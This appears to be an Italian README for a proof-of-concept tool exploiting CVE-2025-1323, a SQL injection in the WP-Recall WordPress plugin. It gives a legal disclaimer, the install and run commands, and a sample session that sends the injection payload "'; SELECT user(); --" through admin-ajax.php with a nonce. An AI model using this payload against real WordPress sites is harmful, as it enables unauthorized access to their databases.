cve-2025-1323

Iniezione SQL nel plugin WP-Recall

⚠️ Avvertenze legali

Questo strumento è destinato esclusivamente a test di sicurezza autorizzati e uso educativo.
Non utilizzare su sistemi senza autorizzazione esplicita. L'uso improprio potrebbe essere illegale.

✅ Requisiti

• Python 3.x
• Modulo requests

Installa le dipendenze:

pip install requests

python CVE-2025-1323.py

Enter target URL (e.g. https://target.com/wp-admin/admin-ajax.php): https://example.com/wp-admin/admin-ajax.php
Enter ajax_nonce value: 37c11b0c06

[*] Invio del payload: '; SELECT user(); --

[+] Risposta ricevuta:
{"result":"SQL error or leaked data here..."}